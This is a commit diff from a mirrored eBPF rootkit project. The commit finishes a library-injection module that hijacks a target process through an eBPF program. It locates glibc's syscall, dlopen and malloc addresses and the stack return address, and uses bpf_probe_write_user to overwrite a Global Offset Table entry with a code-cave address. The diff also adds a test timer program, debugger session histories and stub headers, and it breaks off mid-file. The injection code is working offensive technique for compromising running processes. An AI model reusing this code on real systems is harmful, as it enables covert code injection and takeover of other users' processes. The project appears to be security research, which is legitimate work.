mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-16 23:33:06 +08:00
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
This commit is contained in:
Binary file not shown.
28739
src/.output/kit.skel.h
28739
src/.output/kit.skel.h
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -23,6 +23,7 @@
|
|||||||
|
|
||||||
|
|
||||||
//LIBRARY INJECTION WITH ROP
|
//LIBRARY INJECTION WITH ROP
|
||||||
#define TASK_COMM_NAME_ROP_TARGET "execve_hijack"
|
#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
|
||||||
|
#define CODE_CAVE_ADDRESS 0x0000000000402e95
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -7,13 +7,21 @@ typedef enum {
|
|||||||
INFO,
|
INFO,
|
||||||
DEBUG,
|
DEBUG,
|
||||||
EXIT,
|
EXIT,
|
||||||
ERROR
|
ERROR,
|
||||||
|
VULN_SYSCALL
|
||||||
} event_type_t;
|
} event_type_t;
|
||||||
|
|
||||||
struct rb_event {
|
struct rb_event {
|
||||||
int pid;
|
int pid;
|
||||||
char message[RB_EVENT_MAX_MESSAGE_SIZE];
|
char message[RB_EVENT_MAX_MESSAGE_SIZE];
|
||||||
int code;
|
int code;
|
||||||
|
__u64 syscall_address;
|
||||||
|
__u64 process_stack_return_address;
|
||||||
|
__u64 libc_main_address;
|
||||||
|
__u64 libc_dlopen_mode_address;
|
||||||
|
__u64 libc_malloc_address;
|
||||||
|
__u64 got_address;
|
||||||
|
int relro_active;
|
||||||
event_type_t event_type;
|
event_type_t event_type;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -26,6 +26,8 @@ struct fs_open_data{ //Map value
|
|||||||
struct inj_ret_address_data{ //Map value
|
struct inj_ret_address_data{ //Map value
|
||||||
__u64 libc_syscall_address;
|
__u64 libc_syscall_address;
|
||||||
__u64 stack_ret_address;
|
__u64 stack_ret_address;
|
||||||
|
__u64 relro_active;
|
||||||
|
__u64 got_address;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct fs_priv_open{ //Map
|
struct fs_priv_open{ //Map
|
||||||
|
|||||||
@@ -10,6 +10,8 @@
|
|||||||
|
|
||||||
#include "../../../common/constants.h"
|
#include "../../../common/constants.h"
|
||||||
#include "defs.h"
|
#include "defs.h"
|
||||||
|
#include "../../../common/map_common.h"
|
||||||
|
#include "../data/ring_buffer.h"
|
||||||
|
|
||||||
#define OPCODE_JUMP_BYTE_0 0xe8
|
#define OPCODE_JUMP_BYTE_0 0xe8
|
||||||
#define OPCODE_PLT_JMP_BYTE_0 0xff
|
#define OPCODE_PLT_JMP_BYTE_0 0xff
|
||||||
@@ -19,7 +21,6 @@
|
|||||||
#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0
|
#define GLIBC_OFFSET_MAIN_TO_SYSCALL 0xf00d0
|
||||||
#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
|
#define GLIBC_OFFSET_MAIN_TO_DLOPEN 0x12f120
|
||||||
#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
|
#define GLIBC_OFFSET_MAIN_TO_MALLOC 0x6eca0
|
||||||
#define CODE_CAVE_ADDRESS 0x0000000000402e95
|
|
||||||
|
|
||||||
struct sys_timerfd_settime_enter_ctx {
|
struct sys_timerfd_settime_enter_ctx {
|
||||||
unsigned long long unused; //Pointer to pt_regs
|
unsigned long long unused; //Pointer to pt_regs
|
||||||
@@ -166,16 +167,13 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
|
|||||||
__u64 buf = CODE_CAVE_ADDRESS;
|
__u64 buf = CODE_CAVE_ADDRESS;
|
||||||
bpf_printk("Now writing to J_ADDR %lx\n", j_addr);
|
bpf_printk("Now writing to J_ADDR %lx\n", j_addr);
|
||||||
if(bpf_probe_write_user(j_addr, &buf, sizeof(__u64))<0){
|
if(bpf_probe_write_user(j_addr, &buf, sizeof(__u64))<0){
|
||||||
bpf_printk("FAILED TO WRITE J\n");
|
//Should not work if RELRO active
|
||||||
|
bpf_printk("FAILED TO WRITE JUMP\n");
|
||||||
}else{
|
}else{
|
||||||
__u64 got_addr_new;
|
__u64 got_addr_new;
|
||||||
bpf_probe_read_user(&got_addr_new, sizeof(__u64), j_addr);
|
bpf_probe_read_user(&got_addr_new, sizeof(__u64), j_addr);
|
||||||
bpf_printk("Success, new GOT is %lx", got_addr_new);
|
bpf_printk("Success, new GOT is %lx", got_addr_new);
|
||||||
}
|
}
|
||||||
bpf_printk("Now writing to CALL_ADDR %lx\n", call_addr);
|
|
||||||
if(bpf_probe_write_user(call_addr, &buf, sizeof(__u64))<0){
|
|
||||||
bpf_printk("FAILED TO WRITE CALL\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
|
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
|
||||||
//where the syscall resides. We read the opcodes and check that they are the ones expected
|
//where the syscall resides. We read the opcodes and check that they are the ones expected
|
||||||
@@ -189,7 +187,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
//We got the expected syscall.
|
//We got the expected syscall call in libc. Its format depends on glibc.
|
||||||
//We put it in an internal map.
|
//We put it in an internal map.
|
||||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||||
if(pid_tgid<0){
|
if(pid_tgid<0){
|
||||||
@@ -205,6 +203,8 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
|
|||||||
struct inj_ret_address_data addr;
|
struct inj_ret_address_data addr;
|
||||||
addr.libc_syscall_address = (__u64)got_addr;
|
addr.libc_syscall_address = (__u64)got_addr;
|
||||||
addr.stack_ret_address = 0;
|
addr.stack_ret_address = 0;
|
||||||
|
addr.relro_active = relro_active;
|
||||||
|
bpf_probe_read(&addr.got_address, sizeof(__u64), &j_addr);
|
||||||
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
|
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
@@ -254,18 +254,31 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
|
|||||||
if(pid_tgid<0){
|
if(pid_tgid<0){
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
|
||||||
if (inj_ret_addr == NULL ){
|
if (addr == NULL){
|
||||||
//It means we failed to insert into the map before
|
//It means we failed to insert into the map before
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
struct inj_ret_address_data addr = *inj_ret_addr;
|
//struct inj_ret_address_data addr = *inj_ret_addr;
|
||||||
addr.stack_ret_address = (__u64)scanner - ii;
|
//struct inj_ret_address_data addr;
|
||||||
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_EXIST)<0){
|
//bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
|
||||||
|
addr->stack_ret_address = (__u64)scanner - ii;
|
||||||
|
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
|
||||||
bpf_printk("Failed to insert the return address in bpf map\n");
|
bpf_printk("Failed to insert the return address in bpf map\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
bpf_printk("Final found return address: %lx\n", addr.stack_ret_address);
|
bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
|
||||||
|
bpf_printk("GOT address: %lx\n", addr->got_address);
|
||||||
|
|
||||||
|
|
||||||
|
//Tell userspace to perform operations on localized addresses
|
||||||
|
int pid = bpf_get_current_pid_tgid() >> 32;
|
||||||
|
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
|
||||||
|
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
|
||||||
|
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
|
||||||
|
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
|
||||||
|
addr->got_address, addr->relro_active);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -41,6 +41,31 @@ static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, eve
|
|||||||
bpf_ringbuf_submit(event, 0);
|
bpf_ringbuf_submit(event, 0);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer
|
||||||
|
*
|
||||||
|
* @return 0 if ok, -1 if error
|
||||||
|
*/
|
||||||
|
static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, int relro_active){
|
||||||
|
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
||||||
|
if(!event){
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
event->event_type = VULN_SYSCALL;
|
||||||
|
event->pid = pid;
|
||||||
|
event->libc_dlopen_mode_address = libc_dlopen_mode_address;
|
||||||
|
event->libc_main_address = libc_main_address;
|
||||||
|
event->libc_malloc_address = libc_malloc_address;
|
||||||
|
event->process_stack_return_address = process_stack_return_address;
|
||||||
|
event->syscall_address = syscall_address;
|
||||||
|
event->got_address = got_address;
|
||||||
|
event->relro_active = relro_active;
|
||||||
|
|
||||||
|
bpf_ringbuf_submit(event, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,195 +1,3 @@
|
|||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
x/32b 0x5555555556a9
|
|
||||||
x/32x 0x5555555556a9
|
|
||||||
x/2i 0x5555555556a9
|
|
||||||
disass 0x5555555556a9
|
|
||||||
disass /r 0x5555555556a9
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
disass /r 0x5555555556ae
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
disass /r 0x5555555556ae
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+169)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
fin
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+169)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+169)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
disass test_time_values_injection
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
disass 0x7ffff7ede56c
|
|
||||||
disass /r 0x7ffff7ede56c
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
x/2i 0x5555555556a9
|
|
||||||
x/2b 0x5555555556a9
|
|
||||||
x/22b 0x5555555556a9
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
disass /r 0x5555555556ae
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+169)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+169)
|
|
||||||
r
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
q
|
|
||||||
b test_time_values_injection
|
|
||||||
r
|
|
||||||
ni
|
|
||||||
si
|
|
||||||
fin
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
r
|
|
||||||
q
|
|
||||||
disass test_time_values_injection
|
|
||||||
b *(test_time_values_injection+96)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
disass test_time_values_injection
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
restart
|
|
||||||
c
|
|
||||||
r
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
x/10x 0x5555555556a9
|
|
||||||
x/10i 0x5555555556a9
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
x/10i 555555555510
|
|
||||||
x/10i 0x555555555510
|
|
||||||
x/10x 0x555555555510
|
|
||||||
q
|
|
||||||
b *(test_time_values_injection+94)
|
|
||||||
r
|
|
||||||
si
|
|
||||||
x/10x 0x555555555510
|
|
||||||
x/10i 0x555555555510
|
|
||||||
q
|
|
||||||
q
|
|
||||||
q
|
|
||||||
disass test_time_values_injection
|
|
||||||
b *(test_time_values_injection+167)
|
b *(test_time_values_injection+167)
|
||||||
r
|
r
|
||||||
si
|
si
|
||||||
@@ -254,3 +62,195 @@ si
|
|||||||
x/2i 7ffff7f1d5b0
|
x/2i 7ffff7f1d5b0
|
||||||
x/2i 0x7ffff7f1d5b0
|
x/2i 0x7ffff7f1d5b0
|
||||||
q
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
disass test_time_values_injection
|
||||||
|
b *(test_time_values_injection+167)
|
||||||
|
r
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+167)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+167)
|
||||||
|
r
|
||||||
|
x/10s 0x41350
|
||||||
|
x/10s 0x405130
|
||||||
|
x/10b 0x405130
|
||||||
|
x/10i 0x405130
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
disass test_time_values_injection
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
fin
|
||||||
|
fin
|
||||||
|
si
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
x/20b 0x555555559fb0
|
||||||
|
si
|
||||||
|
x/20b 0x555555559fb0
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
si
|
||||||
|
x/20b 0x555555559fb0
|
||||||
|
x/20i 0x555555559fb0
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
x/20i 0x555555559fb0
|
||||||
|
x/20b 0x555555559fb0
|
||||||
|
si
|
||||||
|
x/20b 0x555555559fb0
|
||||||
|
x/20i 0x555555559fb0
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
r
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
x/20b 0x555555559fb0
|
||||||
|
x/20x 0x555555559fb0
|
||||||
|
si
|
||||||
|
x/20x 0x555555559fb0
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
x/20x 0x555555559fb0
|
||||||
|
q
|
||||||
|
x/20x 0x555555559fb0
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
x/20x 0x555555559fb0
|
||||||
|
fin
|
||||||
|
si
|
||||||
|
ni
|
||||||
|
ni
|
||||||
|
c
|
||||||
|
q
|
||||||
|
b test_time_values_injection
|
||||||
|
r
|
||||||
|
disass test_time_values_injection
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
b *(test_time_values_injection+177)
|
||||||
|
c
|
||||||
|
c
|
||||||
|
r
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
ni
|
||||||
|
disass /r test_time_values_injection
|
||||||
|
q
|
||||||
|
b *(test_time_values_injection+94)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
ni
|
||||||
|
q
|
||||||
|
disass main
|
||||||
|
q
|
||||||
|
disass main
|
||||||
|
b *(main+186)
|
||||||
|
b *(main+448)
|
||||||
|
r
|
||||||
|
checkpoint
|
||||||
|
si
|
||||||
|
restore 1
|
||||||
|
restore
|
||||||
|
restart
|
||||||
|
restart 1
|
||||||
|
si
|
||||||
|
restart 1
|
||||||
|
si
|
||||||
|
restart 1
|
||||||
|
restart 1
|
||||||
|
context
|
||||||
|
context all
|
||||||
|
si
|
||||||
|
restart 1
|
||||||
|
q
|
||||||
|
b *(main+186)
|
||||||
|
b *(main+448)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
q
|
||||||
|
disass main
|
||||||
|
b *(main+184)
|
||||||
|
b *(main+446)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
x/20b 0x555555557fd0
|
||||||
|
c
|
||||||
|
si
|
||||||
|
x/20b 0x555555557fd0
|
||||||
|
q
|
||||||
|
b *(main+184)
|
||||||
|
b *(main+446)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
c
|
||||||
|
si
|
||||||
|
find 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||||
|
find 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||||
|
q
|
||||||
|
b *(main+184)
|
||||||
|
b *(main+446)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
q
|
||||||
|
b *(main+184)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
x/20b 0x555555557fd0
|
||||||
|
q
|
||||||
|
b *(main+184)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
q
|
||||||
|
b *(main+184)
|
||||||
|
r
|
||||||
|
si
|
||||||
|
q
|
||||||
|
|||||||
@@ -3,19 +3,27 @@ HEADERS = lib/RawTCP.h
|
|||||||
EXTRA_CFLAGS= -I$(PWD)/lib
|
EXTRA_CFLAGS= -I$(PWD)/lib
|
||||||
|
|
||||||
default:
|
default:
|
||||||
make execve_hijack injection_lib
|
make execve_hijack injection_lib simple_timer
|
||||||
|
|
||||||
injection_lib: injection_lib.o
|
injection_lib: injection_lib.o
|
||||||
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
|
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
|
||||||
|
|
||||||
|
simple_timer.o: simple_timer.c $(HEADERS)
|
||||||
|
gcc -g -c simple_timer.c
|
||||||
|
|
||||||
|
simple_timer: simple_timer.o
|
||||||
|
gcc -g -o simple_timer simple_timer.o
|
||||||
|
|
||||||
execve_hijack.o: execve_hijack.c $(HEADERS)
|
execve_hijack.o: execve_hijack.c $(HEADERS)
|
||||||
clang -g -c execve_hijack.c
|
gcc -g -c execve_hijack.c
|
||||||
|
|
||||||
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
|
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
|
||||||
clang -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
gcc -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-rm -f execve_hijack.o
|
-rm -f execve_hijack.o
|
||||||
-rm -f execve_hijack
|
-rm -f execve_hijack
|
||||||
-rm -f injection_lib.o
|
-rm -f injection_lib.o
|
||||||
-rm -f injection_lib.so
|
-rm -f injection_lib.so
|
||||||
|
-rm -f simple_timer.o
|
||||||
|
-rm -f simple_timer
|
||||||
Binary file not shown.
Binary file not shown.
@@ -1,3 +1,2 @@
|
|||||||
break *(test_time_values_injection+94)
|
break *(test_time_values_injection+94)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
2
src/helpers/peda-session-simple_timer.txt
Normal file
2
src/helpers/peda-session-simple_timer.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
break *(main+184)
|
||||||
|
|
||||||
@@ -1,3 +1,7 @@
|
|||||||
|
break test_time_values_injection
|
||||||
|
disable $bpnum
|
||||||
break *(test_time_values_injection+94)
|
break *(test_time_values_injection+94)
|
||||||
disable $bpnum
|
disable $bpnum
|
||||||
|
break *(test_time_values_injection+177)
|
||||||
|
disable $bpnum
|
||||||
|
|
||||||
|
|||||||
BIN
src/helpers/simple_timer
Executable file
BIN
src/helpers/simple_timer
Executable file
Binary file not shown.
110
src/helpers/simple_timer.c
Normal file
110
src/helpers/simple_timer.c
Normal file
@@ -0,0 +1,110 @@
|
|||||||
|
/**
|
||||||
|
* Modified version of Linux man page timer using timerfd.
|
||||||
|
* Counts to 3, 1 second at a time, then sets another time up to 3, one second at a time.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/timerfd.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
void print_elapsed_time() {
|
||||||
|
static struct timespec start;
|
||||||
|
struct timespec curr;
|
||||||
|
static int first_call = 1;
|
||||||
|
int secs, nsecs;
|
||||||
|
|
||||||
|
if (first_call) {
|
||||||
|
first_call = 0;
|
||||||
|
if (clock_gettime(CLOCK_MONOTONIC, &start) == -1){
|
||||||
|
perror("clock_gettime");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (clock_gettime(CLOCK_MONOTONIC, &curr) == -1){
|
||||||
|
perror("clock_gettime");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
secs = curr.tv_sec - start.tv_sec;
|
||||||
|
nsecs = curr.tv_nsec - start.tv_nsec;
|
||||||
|
if (nsecs < 0) {
|
||||||
|
secs--;
|
||||||
|
nsecs += 1000000000;
|
||||||
|
}
|
||||||
|
printf("Timer called at: %d.%03d: ", secs, (nsecs + 500000) / 1000000);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
struct itimerspec new_value;
|
||||||
|
int max_exp, fd;
|
||||||
|
struct timespec now;
|
||||||
|
uint64_t exp;
|
||||||
|
ssize_t s;
|
||||||
|
|
||||||
|
if (clock_gettime(CLOCK_REALTIME, &now) == -1){
|
||||||
|
perror("clock_gettime");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
new_value.it_value.tv_sec = now.tv_sec +1;
|
||||||
|
new_value.it_value.tv_nsec = now.tv_nsec;
|
||||||
|
new_value.it_interval.tv_sec = 1;
|
||||||
|
new_value.it_interval.tv_nsec = 0;
|
||||||
|
max_exp = 3;
|
||||||
|
|
||||||
|
fd = timerfd_create(CLOCK_REALTIME, 0);
|
||||||
|
if (fd == -1){
|
||||||
|
perror("timerfd_create");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1){
|
||||||
|
perror("timerfd_settime");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Timer started\n");
|
||||||
|
|
||||||
|
for (uint64_t tot_exp = 0; tot_exp < max_exp;) {
|
||||||
|
s = read(fd, &exp, sizeof(uint64_t));
|
||||||
|
if (s != sizeof(uint64_t))
|
||||||
|
perror("Error reading from timer");
|
||||||
|
|
||||||
|
tot_exp += exp;
|
||||||
|
print_elapsed_time();
|
||||||
|
printf("time between: %llu; total elapsed time=%llu\n", (unsigned long long) exp, (unsigned long long) tot_exp);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (clock_gettime(CLOCK_REALTIME, &now) == -1){
|
||||||
|
perror("clock_gettime");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
new_value.it_value.tv_sec = now.tv_sec +1;
|
||||||
|
new_value.it_value.tv_nsec = now.tv_nsec;
|
||||||
|
new_value.it_interval.tv_sec = 1;
|
||||||
|
new_value.it_interval.tv_nsec = 0;
|
||||||
|
max_exp = 3;
|
||||||
|
|
||||||
|
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1){
|
||||||
|
perror("timerfd_settime");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (uint64_t tot_exp = 0; tot_exp < max_exp;) {
|
||||||
|
s = read(fd, &exp, sizeof(uint64_t));
|
||||||
|
if (s != sizeof(uint64_t))
|
||||||
|
perror("Error reading from timer");
|
||||||
|
|
||||||
|
tot_exp += exp;
|
||||||
|
print_elapsed_time();
|
||||||
|
printf("time between: %llu; total elapsed time=%llu\n", (unsigned long long) exp, (unsigned long long) tot_exp);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
src/helpers/simple_timer.o
Normal file
BIN
src/helpers/simple_timer.o
Normal file
Binary file not shown.
19
src/user/include/utils/mem/code_caver.h
Normal file
19
src/user/include/utils/mem/code_caver.h
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
#ifndef __MEM_CODE_CAVER_H
|
||||||
|
#define __MEM_CODE_CAVER_H
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
|
||||||
|
#include "../common/constants.h"
|
||||||
|
|
||||||
|
__u64 code_cave_find_address(__u64 min_cave_size, __u64 from, __u64 to, char flags[], __u32 pgoff, __u32 major, __u32 minor, __u64 ino){
|
||||||
|
//printf("%x-%x %4c %x %x:%x %lu ");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
62
src/user/include/utils/mem/injection.h
Normal file
62
src/user/include/utils/mem/injection.h
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
#ifndef __MEM_INJECTION_EXT_H
|
||||||
|
#define __MEM_INJECTION_EXT_H
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
